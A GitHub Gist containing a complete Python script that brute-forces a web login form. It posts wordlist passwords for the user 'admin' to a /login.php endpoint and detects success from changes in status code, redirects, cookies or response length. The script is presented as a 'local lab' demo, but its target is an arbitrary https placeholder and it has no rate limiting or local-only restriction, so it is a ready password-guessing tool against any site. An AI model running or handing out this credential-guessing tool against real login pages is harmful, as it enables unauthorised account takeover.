Created
October 23, 2025 10:34
-
-
Save shakilofficial0/05812e30a5a9acfd9c3fa47a99cf34a1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| local_bruteforce_demo.py | |
| Demonstrates the mechanics of trying credentials from a wordlist and detecting success. | |
| **SAFE for local labs only** — do not use against remote systems without explicit permission. | |
| Usage: | |
| 1. Start a local test web app that accepts POST /login.php (or modify TARGET). | |
| 2. Place candidate passwords in wordlist.txt (one per line). | |
| 3. Run: python3 local_bruteforce_demo.py | |
| This script compares the server response for a known-bad login with each attempt, | |
| and flags attempts that change status, redirect, set cookies, or have a significantly | |
| different response body. | |
| """ | |
| import requests | |
| from urllib.parse import urljoin | |
| import sys | |
| import time | |
| # === CONFIGURE FOR LOCAL TESTING ONLY === | |
| TARGET = "https://<url>/login.php" # default local lab address | |
| USERNAME = "admin" # username to test | |
| WORDLIST = "secret.txt" # local wordlist file | |
| TIMEOUT = 5.0 | |
| # Helper: perform a single login POST and return detection markers | |
| def attempt_login(session, url, username, password): | |
| try: | |
| resp = session.post(url, data={"username": username, "password": password}, timeout=TIMEOUT, allow_redirects=False) | |
| except Exception as e: | |
| return {"error": str(e)} | |
| markers = { | |
| "status_code": resp.status_code, | |
| "location": resp.headers.get("Location"), | |
| "set_cookie": resp.headers.get("Set-Cookie"), | |
| "body_len": len(resp.text or ""), | |
| # optionally capture a short snippet to inspect (avoid large bodies) | |
| "snippet": (resp.text or "")[:200].lower() | |
| } | |
| return markers | |
| def main(): | |
| # quick check: baseline with a known-bad password | |
| session = requests.Session() | |
| print(f"[+] Baseline (known-bad) attempt for {USERNAME}...") | |
| baseline = attempt_login(session, TARGET, USERNAME, "this-is-a-bad-password-123") | |
| if "error" in baseline: | |
| print("[!] Error contacting target:", baseline["error"]) | |
| print("Make sure you're running a local test server at", TARGET) | |
| sys.exit(1) | |
| print("Baseline markers:", baseline) | |
| try: | |
| with open(WORDLIST, "r", encoding="utf-8", errors="ignore") as f: | |
| for lineno, line in enumerate(f, start=1): | |
| pwd = line.strip() | |
| if not pwd: | |
| continue | |
| markers = attempt_login(session, TARGET, USERNAME, pwd) | |
| if "error" in markers: | |
| print(f"[!] line {lineno}: network/error: {markers['error']}") | |
| continue | |
| # Heuristics: consider cracked if: | |
| # - status code differs (e.g., 200 -> 302) | |
| # - there's a redirect Location header | |
| # - Set-Cookie appears where baseline had none | |
| # - body length differs significantly ( > 25% change ) | |
| changed = False | |
| reasons = [] | |
| if markers["status_code"] != baseline["status_code"]: | |
| changed = True | |
| reasons.append(f"status {baseline['status_code']}->{markers['status_code']}") | |
| if markers["location"] and markers["location"] != baseline.get("location"): | |
| changed = True | |
| reasons.append(f"redirect -> {markers['location']}") | |
| if markers["set_cookie"] and markers["set_cookie"] != baseline.get("set_cookie"): | |
| changed = True | |
| reasons.append("set-cookie present") | |
| # body length change heuristic | |
| base_len = baseline.get("body_len", 0) | |
| if base_len > 0: | |
| diff = abs(markers["body_len"] - base_len) / base_len | |
| if diff > 0.25: | |
| changed = True | |
| reasons.append(f"body_len changed {base_len}->{markers['body_len']}") | |
| else: | |
| if markers["body_len"] != base_len: | |
| changed = True | |
| reasons.append(f"body_len changed {base_len}->{markers['body_len']}") | |
| if changed: | |
| print(f"[POTENTIAL] line {lineno}: password='{pwd}' -> {', '.join(reasons)}") | |
| print("Snippet:", markers["snippet"]) | |
| # stop on first hit; remove break if you want to continue | |
| return | |
| if lineno % 500 == 0: | |
| print(f"[+] tried {lineno} passwords...") | |
| print("Finished wordlist; no likely matches found (in local test).") | |
| except FileNotFoundError: | |
| print("Wordlist not found:", WORDLIST) | |
| sys.exit(1) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment